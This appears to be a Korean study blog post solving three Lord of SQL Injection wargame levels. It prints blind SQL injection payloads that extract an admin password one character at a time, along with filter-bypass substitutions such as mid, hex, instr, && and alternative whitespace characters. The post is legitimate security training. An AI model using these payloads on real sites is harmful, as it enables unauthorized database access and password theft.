SQL Injection II

2021. 8. 29. 13:48Layer7/Layer7_Web Hacking

 

전 SQL 인젝션 관련 글

 

 


 

 

Lord of SQL Injection - Darkknight

 

 

 

 

 

?no=0 or length(pw) like 8

 

 

length(pw)로 패스워드의 길이를 알아냈다.

 

 

ascii와 substr을 필터링하고 있다.

 

 

 

 

?no=0 or id like \"admin\" %26%26 ord(mid(pw, {str(i)}, 1)) like {str(j)}-- -

 

 

id가 admin이면서 pw에서 i번째 문자를 mid(substr)해서 ord(ascii)로 바꾼 뒤 j와 비교한다.

 

 

substr 대신에 mid, ascii 대신에 ord를 쓰면 된다.

 

 

 

 

 


 

 

 

Lord of SQL Injection - Bugbear

 

 

 

 

 

substr, ascii, =, or, and, 공백, 싱글쿼터 모두 필터링하고 있다.

 

 

substr > mid

ascii, ord > hex

= > instr

or > ||

and > &&

공백 > /**/, %0a 또는 사용 안 함

' > "

 

 

 

 

?no=1||instr(id,"admin")%26%26instr(length(pw),"8")

 

 

비밀번호의 길이 = 8

 

 

?no=1||instr(id,"admin")%26%26hex(mid(pw,{i},1))%0ain%0a(hex({j}))#

 

 

ascii, ord를 hex로 우회함.

 

 

 

 

 

 

 

 


 

 

Lord of SQL Injection - Giant

 

 

 

 

 

from과 prob_giant를 공백으로 구분해야 한다.

 

 

즉, 공백우회를 하면 된다.

 

 

 

 

0x9, 0xa, 0xb, 0xc, 0xd를 사용할 수 있다.

 

 

0x20은 스페이스바이므로 필터링되고, %09는 \t, %0a는 \n, %0d는 \r이므로 이 또한 필터링된다.

 

 

따라서 0xb, 0xc 중 하나를 써야 문제가 풀린다.

 

 

 

 

 


 

 

 

 

 

메인 사진 출처: Unsplash

© 남찬우, 2021

 

 

 

 

 

 

 

 

'Layer7 > Layer7_Web Hacking' 카테고리의 다른 글

JavaScript, PHP  (0) 2021.08.27
SSRF, HTTP Request Smuggling  (0) 2021.08.23
SQL Injection  (0) 2021.08.18
XSS, CSRF, Command Injection  (0) 2021.08.11
Proxy, Cookie  (0) 2021.08.09